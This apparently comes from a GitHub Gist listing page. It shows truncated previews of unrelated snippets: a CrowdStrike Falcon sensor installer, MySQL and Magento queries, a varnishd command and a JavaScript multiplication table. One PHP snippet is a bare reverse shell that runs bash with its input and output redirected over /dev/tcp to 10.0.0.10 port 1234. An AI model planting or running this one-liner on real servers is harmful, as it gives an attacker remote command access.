This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
print_usage() { | |
cat <<EOF | |
This script installs and configures the CrowdStrike Falcon Sensor for Linux. | |
CrowdStrike API credentials are needed to download Falcon sensor. The script recognizes the following environmental variables: | |
- FALCON_CLIENT_ID | |
- FALCON_CLIENT_SECRET |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
################################################################################ | |
# FUNCTIONS | |
################################################################################ | |
# 1. Check required system tools | |
_check_installed_tools() { | |
local missed="" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SET @DATABASE = 'prod'; | |
SELECT CONCAT(table_schema, '.', table_name), | |
CONCAT(ROUND(table_rows / 1000000, 2), 'M') rows, | |
CONCAT(ROUND(data_length / ( 1024 * 1024 * 1024 ), 2), 'G') DATA, | |
CONCAT(ROUND(index_length / ( 1024 * 1024 * 1024 ), 2), 'G') idx, | |
CONCAT(ROUND(( data_length + index_length ) / ( 1024 * 1024 * 1024 ), 2), 'G') total_size, | |
ROUND(index_length / data_length, 2) idxfrac | |
FROM information_schema.TABLES | |
WHERE `information_schema`.TABLES.table_schema = @DATABASE |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- This takes about 30 seconds, but will make the next query a billion times faster | |
alter table sales_flat_order_item add index (product_id); | |
-- This takes about 5 seconds with the index added | |
select | |
cpe.entity_id product_id, | |
cpe.sku, | |
at_style_number.value style_number, | |
cpe.created_at product_created_date, | |
sum(sfoi.qty_ordered) total_ordered, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SELECT table_name AS "Tables", | |
round(((data_length + index_length) / 1024 / 1024), 2) "Size in MB" | |
FROM information_schema.TABLES | |
WHERE table_schema = "volcom" | |
ORDER BY (data_length + index_length) DESC; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo /usr/local/opt/varnish3/sbin/varnishd -n /usr/local/var/varnish -f /usr/local/etc/varnish/default.vcl -s malloc,1G -T localhost:6082 -a :80 -p cli_buffer=81920 -p esi_syntax=0x2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
################################################################################ | |
# FUNCTIONS | |
################################################################################ | |
# 1. Check required system tools | |
_check_installed_tools() { | |
local missed="" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- Make sure to uncomment one of the where conditions below or your query will take forever | |
select | |
lu.visit_time, | |
inet_ntoa(lvi.server_addr) server_addr, | |
inet_ntoa(lvi.remote_addr) remote_addr, | |
lui.url, | |
lc.customer_id, | |
ce.email, | |
cs.name store, | |
lvi.http_user_agent, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script type="text/javascript"> | |
document.write('<table border="1" cellspacing="1" cellpadding="5">'); | |
for(tableRows = 1; tableRows < 13; tableRows++){ | |
document.write('<tr>'); | |
for (tableColumns = 1; tableColumns < 13; tableColumns++){ | |
if (tableRows === 1) { | |
document.write('<td><b>' + (tableRows * tableColumns) + '</b></td>'); | |
}else if (tableColumns === 1 ){ | |
document.write('<td><b>' + (tableRows * tableColumns) + '</b></td>'); |
NewerOlder